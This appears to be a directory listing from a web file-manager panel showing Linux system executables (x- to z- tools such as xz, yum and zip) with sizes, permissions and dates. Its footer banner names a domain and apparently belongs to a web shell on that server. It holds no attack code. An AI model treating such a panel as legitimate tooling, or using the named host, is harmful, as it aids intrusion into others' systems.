2019-10-15 01:08:41
xrdb
application/x-pie-executable
33.98 KB
-rwxr-xr-x
2019-10-15 01:08:41
xrefresh
application/x-pie-executable
17.94 KB
-rwxr-xr-x
2019-10-15 01:08:41
xset
application/x-pie-executable
37.2 KB
-rwxr-xr-x
2019-10-15 01:08:41
xsetpointer
application/x-pie-executable
13.05 KB
-rwxr-xr-x
2019-10-15 01:08:41
xsetroot
application/x-pie-executable
21.44 KB
-rwxr-xr-x
2019-10-15 01:08:41
xslt-config
text/x-shellscript
2.36 KB
-rwxr-xr-x
2015-05-10 02:11:30
xsltproc
application/x-pie-executable
28.47 KB
-rwxr-xr-x
2025-08-26 08:55:17
xstdcmap
application/x-pie-executable
17.68 KB
-rwxr-xr-x
2019-10-15 01:08:41
xsubpp
text/x-perl
4.96 KB
-rwxr-xr-x
2019-10-13 08:58:35
xxd
application/x-pie-executable
20.54 KB
-rwxr-xr-x
2025-10-12 12:23:15
xz
application/x-pie-executable
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
xzcat
application/x-pie-executable
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
xzcmp
text/x-shellscript
6.48 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzdec
application/x-pie-executable
16.48 KB
-rwxr-xr-x
2022-06-14 01:03:34
xzdiff
text/x-shellscript
6.48 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzegrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzfgrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzgrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzless
text/x-shellscript
1.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
xzmore
text/x-shellscript
2.11 KB
-rwxr-xr-x
2022-06-14 01:03:30
yat2m
application/x-pie-executable
33.34 KB
-rwxr-xr-x
2019-10-12 12:20:46
yes
application/x-pie-executable
33.45 KB
-rwxr-xr-x
2023-04-01 08:44:39
ypdomainname
application/x-pie-executable
21.16 KB
-rwxr-xr-x
2019-10-11 01:06:51
yum
text/plain
2.05 KB
-rwxr-xr-x
2025-03-11 09:47:56
yum-builddep
text/plain
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
yum-config-manager
text/plain
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
yum-debug-dump
text/plain
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
yum-debug-restore
text/plain
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
yum-groups-manager
text/plain
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
yumdownloader
text/plain
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
zcat
text/x-shellscript
1.94 KB
-rwxr-xr-x
2022-04-27 05:49:28
zcmp
text/x-shellscript
1.64 KB
-rwxr-xr-x
2022-04-27 05:49:28
zdiff
text/x-shellscript
5.74 KB
-rwxr-xr-x
2022-04-27 05:49:28
zegrep
text/x-shellscript
29 B
-rwxr-xr-x
2022-04-27 05:49:28
zfgrep
text/x-shellscript
29 B
-rwxr-xr-x
2022-04-27 05:49:28
zforce
text/x-shellscript
2.03 KB
-rwxr-xr-x
2022-04-27 05:49:28
zgrep
text/x-shellscript
7.4 KB
-rwxr-xr-x
2022-04-27 05:49:28
zip
application/x-pie-executable
229 KB
-rwxr-xr-x
2019-10-11 01:11:04
zipcloak
application/x-pie-executable
102.91 KB
-rwxr-xr-x
2019-10-11 01:11:04
zipdetails
text/x-perl
49.39 KB
-rwxr-xr-x
2019-10-13 09:48:20
zipgrep
text/x-shellscript
2.88 KB
-rwxr-xr-x
2008-10-10 05:40:36
zipinfo
application/x-pie-executable
201.88 KB
-rwxr-xr-x
2025-06-03 02:10:12
zipnote
application/x-pie-executable
97.76 KB
-rwxr-xr-x
2019-10-11 01:11:04
zipsplit
application/x-pie-executable
97.76 KB
-rwxr-xr-x
2019-10-11 01:11:04
zless
text/x-shellscript
2.15 KB
-rwxr-xr-x
2022-04-27 05:49:28
zmore
text/x-shellscript
1.8 KB
-rwxr-xr-x
2022-04-27 05:49:28
znew
text/x-shellscript
4.45 KB
-rwxr-xr-x
2022-04-27 05:49:28
zsoelim
application/x-pie-executable
42.55 KB
-rwxr-xr-x
2019-10-13 02:29:41
~ ACUPOFTEA - accounting.gulfstore-gcc.com